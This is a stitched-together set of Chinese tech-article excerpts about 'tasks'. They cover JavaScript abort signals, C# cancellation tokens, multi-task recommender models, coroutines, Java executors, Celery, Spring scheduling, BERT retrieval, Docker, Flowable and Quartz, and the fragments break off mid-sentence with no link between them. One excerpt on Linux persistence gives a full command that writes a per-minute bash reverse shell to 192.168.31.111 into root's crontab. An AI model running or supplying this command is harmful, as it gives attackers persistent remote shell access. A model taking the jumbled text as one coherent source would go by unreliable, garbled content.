有时候执行异步任务可能是很困难的，尤其是在特定的编程语言不允许取消被错误启动或不再需要的操作时。幸运的是 JavaScript 提供了非常方便的功能来中止异步活动。...在本文中，你可以学到如何创建可中止的函数。...中止信号（Abort signal） 在将 Promise 引入 ES2015 并出现了一些支持新异步解决方案的 Web API 之后不久，需要取消异步任务的需求就出现了(https://github.com...这种解决方案的明显缺点是 Node.js 中不提供 AbortController，从而在该环境没有任何优雅或官方的方式来取消异步任务。...因此，你可以在代码不同部分中重用它（但是，创建一个错误工厂会更优雅，尽管听起来很愚蠢）。另外出现了一个保护子句，检查 abortSignal.aborted（2）的值。
相关类型： CancellationTokenSource 主要用来创建或取消令牌 CancellationToken 监听令牌状态，注册令牌取消事件 OperationCanceledException...){ throw new OperationCanceledException(); } } 代码示例 下面模拟一个文件下载的任务，在未下载完成后下载任务被取消 public void Run(...所以这种设计的目的就是关注点分离。限制了CT的功能，避免Token在传递过程中被不可控的因素取消造成混乱。 关联令牌 继续拿上面的示例来说，示例中实现了从外部控制文件下载功能的终止。...()中修改了时间，重置了Token并将旧的Token取消 在DisplayDate中用ChangeToken.OnChange获取对应的Token并监听 实现了DisplayData函数和BeijingDate...每次在处理完Token的取消事件后，他会重新调用第一个委托获取Token，而此时我们已经生成了新的Token，最终实现了持续监控
） 本文是针对推荐系统中的多任务学习提出的相关方法，MMoE，PLE都是采用基于门控机制的共享层，通过共享层隐式学习公共表征，但是如果任务之间存在冲突就会导致性能退化，在共享层的底部表征上会出现负迁移效应...超网络生成的条件参数被注入到layer norm中来捕获任务特定的兴趣 超网络：TIM的关键是控制统一的行为序列建模网络，为每个任务和行为对产出特定的兴趣。...这些参数将作为额外的缩放参数，并将参数用到Transformer中的LN，以生成隐藏在针对特定任务的行为序列中的细粒度用户的兴趣。...公式如下， l 表示LN在transformer中的位置，t和b表示任务和行为的类型索引，通过两个MLP分别得到了LN中的缩放和平移的参数 \gamma_{t, b}^{l}=M L P_{\theta...一方面，使特征表征可以对不同的上下文进行自适应，比如KFC在疯狂星期四和其他工作日用户的兴趣应该是有所不同的。另一方面，是在任务维度，不同的特征在不同的任务中具有不同的重要性。
在本系列第二篇文章 协程中的取消和异常 | 取消操作详解 中，我们学到，当一个任务不再被需要时，正确地退出十分的重要。...如果您正在创建自己的 CoroutineScope，记得将它绑定到某个任务中，并在需要的时候取消它。 然而，在有些情况下，您会希望即使用户离开了当前界面，操作依然能够执行完成。...因此，您就不会希望任务被取消，例如，向数据库写入数据或者向您的服务器发送特定类型的请求。 下面我们就来介绍实现此类情况的模式。 协程还是 WorkManager？ 协程会在您的应用进程活动期间执行。...✅ 好处: 调用者 (通常是 ViewModel 层) 可以控制这些层级中任务的执行和生命周期，也可以在需要时取消这些任务。...同时要注意，在执行这类任务时，避免使用 GlobalScope、ProcessLifecycleOwner 作用域或 NonCancellable。
在Executor中延时执行任务 在Executor中周期的执行任务 ScheduledExecutorService类顾名思义，就是可以延迟执行的Executor。...在Executor中延时执行任务 Task类 package ScheduledThreadPoolExecutor; import java.util.Date; import java.util.concurrent.Callable...中周期的执行任务 Executor框架通过并发任务而避免了线程的创建操作。...当任务结束之后，这个任务就会从Executor中删除，如果想要再次执行这个任务，就需要再次将这个任务发送给Executor。...Executor框架中，提供了ScheduledThreadPoolExecutor来提供任务的周期性执行的功能 Task类： package ScheduledThreadCycle; import
异步任务队列Celery在Django中的应用 01 Django简介 关于Django的介绍，之前在2018年9月17号的文章中已经讲过了，大家有兴趣可以翻翻之前的文章，这里再简单介绍下:...所谓同步请求，就是所有逻辑处理都是在view中处理完毕后返回response，在view处理任务时，用户处于等待状态，举个栗子:我们点击一个页面，然后这个页面直接返回按钮点击的效果。...而celery就是处理异步任务队列的一个分布式框架，支持使用任务队列的方式在分布的机器上执行任务调度。...在Django中如果没有设置backend，会使用其默认的后台数据库用来存储数据。...4.在app的根目录下，简历task.py文件 在tasks.py中我们就可以编码实现我们需要执行的任务逻辑，在开始处import task，然后在要执行的任务方法开头用上装饰器@task。
Linux中的计划任务可以让系统周期性地运行所指定的程序或命令，攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文，这里只讲述攻击者如何利用该技术进行权限维持。...首先，使用命令service cron status来检查系统中的计划任务服务是否正常运行，执行结果如图1-1所示，running则代表正在运行。...然后，使用命令crontab -l来查看当前用户在系统中创建的计划任务，执行结果如图1-2所示。...在Linux中“万物皆文件”，crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户的用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root，在计划任务中写入一个每分钟建立回连会话的语句
为什么要用多任务学习？ 「方便」。在推荐任务中，往往不仅要预测用户的engagement（例如CTR），还要预测用户satisfaction（例如评分、CVR、观看时长）。...和shared-bottom结构相比，这样的模型对增加了「针对任务的特定参数(task-specific parameters)」，在「任务差异很大」的情况下效果比较好。...缺点就是模型增加了参数量（如果要训练k个目标，就增加k倍），所以需要更大的数据量来训练模型，而且模型更复杂并不利于在真实生产环境中实际部署使用。...SNR设计了两种类型的连接方式：SNR-Trans 和 SNR-Aver来学习子网络的组合，最终得到特定多任务场景的最优网络结构。...为了解决“跷跷板”现象，文章针对多任务之间的共享机制和单任务的特定网络结构进行了重新的设计，提出了PLE模型。
在日常的项目开发中，往往会涉及到一些需要做到定时执行的代码，例如自动将超过24小时的未付款的单改为取消状态，自动将超过14天客户未签收的订单改为已签收状态等等，那么为了在Spring Boot中实现此类需求...这种方式有个缺点，那就是执行周期写死在代码里了，没有办法动态改变，要想改变只能修改代码在重新部署启动微服务。其实Spring也考虑到了这个，所以给出了另外的解决方案，就是我下面说的第二种方式。...*/ void execute(); /** * 实现控制定时任务启用或禁用的功能 */ @Override default void run...return; } execute(); } } 所有定时任务类只需要实现这个接口并相应的在数据库插入一条记录，那么在微服务启动的时候，...cronKey))).execute(); return new Result(AppConsts.SUCCESS, "执行成功"); } /** * 启用或禁用定时任务
本文系DR-BERT算法在文本检索任务中的实践分享，希望对从事检索、排序相关研究的同学能够有所启发和帮助。...在美团业务中，文档检索和排序算法在搜索、广告、推荐等场景中都有着广泛的应用。...BERT 自2018年谷歌的BERT[9]的提出以来，预训练语言模型在自然语言处理领域取得了很大的成功，在多种NLP任务上取得了SOTA效果。...如图3所示，BERT的训练分为两部分，一部分是基于大规模语料上的预训练（Pre-training），一部分是在特定任务上的微调（Fine-tuning）。 ?...通过BERT强大的语义表征能力，可以很好衡量单词在文档中的重要性。如下图4所示，颜色越深的单词，其重要性越高。其中的“stomach”在第一个文档中的重要性更高。 ?
Bert 采用了 pre-training 和 fine-tuning 的方式，真正意义上 实现了 NLP 领域的迁移学习。Bert 刷新了11项 NLP 任务的记录，其中就有两项语义相关的任务。...这和 bert 刷榜的11个任务中的 Semantic Text Similarity Benchmark 这个任务是一样的。同时，我们把 0分和1分定义为负例，把 2分，3分，和4分定义为正例。...两个数据集使用的方式：首先用大数据集，来做第一轮的 training 或 fine-tuning；然后，从小数据集中选取4/5来训练第二轮，用剩余的1/5 来做评测。...这是我们在一个 Tesla P40 上，训练三个模型的耗时。可以看到， 由于采用了两层 LSTM，ESIM 的耗时是最长的。 3. 性能评测 在衡量模型的指标上，我们选择了 AUC。...目前从事搜索广告业务中 NLP 相关的算法工作，负责搜索广告 query 改写，相关性计算等。
Windows Defender安全中心作为所有安全功能的仪表板，包括第三方安全性，可以更清楚地查看PC可能面临的任何风险。...它是特别设计的，以简化和统一Windows的各种安全设置在同一个地方 禁用Windows Defender安全中心任务栏图标 如果由于某种原因不喜欢看图标，可以将其简单地拖放到隐藏的图标箱中。...但是，如果要禁用图标启动并在任务栏中显示，则必须将其从启动中禁用。 为此，请右键单击任务栏，然后单击任务管理器。 现在点击启动选项卡。 ? 查找Windows Defender通知条目。...您也可以使用任何第三方启动管理器软件来禁用此图标或管理启动程序。
3 运行机制 下图是介绍docker运行机制，可以看出应用程序在相互独立的同时，分享物理机的资源 ? Docker最先是一种开源产品，现在有了社区版和企业版docker-ce与docker-ee。...但是办法总比困难多，docker又发布出一个插件nvidia-docker,nvidia-docker是基于docker安装的，可以使得深度学习任务也能隔离开，这就意味着，我可以在一台物理主机上跑各种框架的深度学习任务...唯一的限制就是物理机上的cuda版本号要与docker容器中的cuda版本号一致，我觉得这个要求不过分。 下图是nvidia-docker的运行机制，我们可以看到他们直接的层次结构。...在docker hub里面查询cuda9.2,找到星星最多的一个镜像 ? ? 里面很多镜像，我找到一个符合我自己要求的。 ?...好了，docker在深度学习中的应用就介绍到这，安装配置细节网络一大堆，笔者已经在使用docker解放劳动力的兴奋状态中无法自拔，顺便对windows用户用安慰一句，nvidia-docker不支持windows
3月29日，我们邀请了哈尔滨工程大学李骜博士，为我们直播讲解了多任务学习及其在图像分类中的应用。回复“26”或者“李骜”即可获取PPT和回放视频下载链接。...回放视频在这里☟（建议在wifi环境下观看哦，土豪的话请随意） ? PPT部分截图如下☟ ? ? ? 往期视频在线观看 B站：http://space.bilibili.com/85300886#!.../ 腾讯：http://dwz.cn/68xzHx 优酷：http://dwz.cn/68w1W8 #极市分享第26期# 极市分享|李骜 多任务学习及其在图像分类中的应用 相关视频和PPT下载链接在这里
那么机器学习在实际应用中为什么会出现“多任务”的需求呢？...因为机器学习的关注点一般在单个特定度量优化的任务上，然而实际情况中比如推荐系统，往往都是一对多，即一个场景对应多个业务目标，如果只倾向于关注其中一个目标而忽略了其它目标则会出现排序结果一直不理想。...MMoE 两者的共同点都是把原先Hard-parameter sharing中底层全连接层网络划分成了多个子网络Expert，这样的做法更多是模仿了集成学习中的思想，即同等规模下单个网络无法有效学习到所有任务之间通用的表达但通过划分得到多个子网络后每个子网络总能学到某个任务中一些相关独特的表达...所以不同点在于MMoE针对不同任务均设置了一个对应的Gate，这样的好处是在不添加大量的新参数的情况下学习任务特定的函数去平衡共享的表达来对任务之间的关系进行更明确地建模。...在推荐系统中，不同任务之间通常存在一种序列依赖关系。在电商中的多目标预估一般是点击率和转化率，其中购买这个行为只有在点击发生后才会发生。
当开始研究数据科学时，我经常面临一个问题，那就是为我的特定问题选择最合适的算法。在本文中，我将尝试解释一些基本概念，并在不同的任务中使用不同类型的机器学习算法。...该方法使我们能够显著地提高精确度，因为我们可以在训练集中使用少量带有标签的数据。 ? 强化学习 强化学习与前面几个任务不同，因为我们没有带有标签或没有标签的数据集。...常用的机器学习算法 现在我们对机器学习任务的类型有了一些直观的认识，让我们来探索一下在现实生活中应用的最流行的算法。 1.线性回归和线性分类器 这可能是机器学习中最简单的算法。...6.神经网络 当我们讨论逻辑回归的时候，我已经提到过神经网络。在非常具体的任务中，有许多不同的架构是有价值的。更常见的是，它由一系列的层或组件组成，它们之间有线性连接，并遵循非线性关系。...对于我们预先知道的维度，递归神经网络（RNNs）包含LSTM或GRU模块，并且可以与数据一起工作。 结论 我希望向大家解释最常用的机器学习算法，并就如何根据特定的问题选择一种算法给出建议。
ML.NET 是 Microsoft 开源的针对 .NET 应用程序的 跨平台机器学习库，允许您使用 C#、F# 或任何其他 .NET 语言执行机器学习任务。...二元分类任务仅限于预测具有两个可能值的单个列。如果有两个以上的可能值，则这是一个多类别分类任务，我们将在下面讨论。...多类别分类 多类分类任务与二元分类任务非常相似，因为您尝试在给定一组特征的情况下预测单个标记列的分类值。...这可用于确定哪些客户在市场营销、建议分组或其他目的方面彼此相似。在处理地理数据时，这也是确定办公室位置或手机信号塔最佳位置的好方法。...物体检测 对象检测类似于图像分类，但不是告诉您图像属于特定类，而是在图像中为您提供一个实际的边界框，告诉您该特定对象的位置。此外，对象检测能够在单个图像中定位多个对象，这超出了图像分类的限制。
这种样本的相关性不符合独立同分布的假设，深度学习模型也很容易学习到这种相关性，为了消除这种相关性，建立一个experience replay pool，在模型训练的时候随机的从pool中sample样本来进行模型训练...中采样minibatch的样本进行模型训练。...算法在不断的探测。...在实验过程中，我们也发现，强化学习模型的学习过程，依赖深度学习模型的拟合能力，实验过程中经历过一次DNN模型的调优，大大加速了强化学习模型的收敛速度。...同时，我们在实验过程中也发现强化学习的探索效率也是有待提高的，本质上，强化学习就是不断探测，得到各种state下各种action的正负反馈，而且如果探测不够充分，学出的模型会决策出一些错误甚至是危险的行为
---- 前面的文章我们一起玩了 Flowable 中的 ServiceTask，今天我们再来看看 Flowable 中的脚本任务。 1....脚本任务 个人感觉脚本任务和我们前面说的 ServiceTask 很像，都是流程走到这个节点的时候自动做一些事情，不同的是，在 ServiceTask 中，流程在这个节点中所做的事情是用 Java 代码写的...，在脚本任务中，流程在这个节点中所做的事情则是用其他一些脚本语言如 JavaScript、Groovy、Juel 等写的。...在 ES6 中我们常用的 let 关键字这里并不支持，这个地方小伙伴们要注意。...并且，Groovy 可以与 Java 语言无缝对接，在写 Groovy 的时候如果忘记了语法可以直接按 Java 的语法继续写，也可以在 Java 中调用 Groovy 脚本，都可以很好的工作，这有效的降低了
Quratz是什么:Quartz 是一个完全由 Java 编写的开源作业调度框架，为在 Java 应用程序中进行作业调度提供了简单却强大的机制。...创建springboot工程集成Quratz： 在IDEA中基于springboot 2.7....定时任务触发信息；需要传入指定的TriggerKey，才能确定需要修改的触发器； @GetMapping("/update") public String updateCron() throws....build(); scheduler.rescheduleJob(triggerKey,trigger); return "ok"; }实现逻辑： 在以上代码中...，接口服务中的Scheduler是可以直接依赖注入的；不需要额外指定Bean；但在之前版本的Quratz中是需要的；获取所有job的逻辑是：使用GroupMatcher匹配获取所有的jobKey；主要使用
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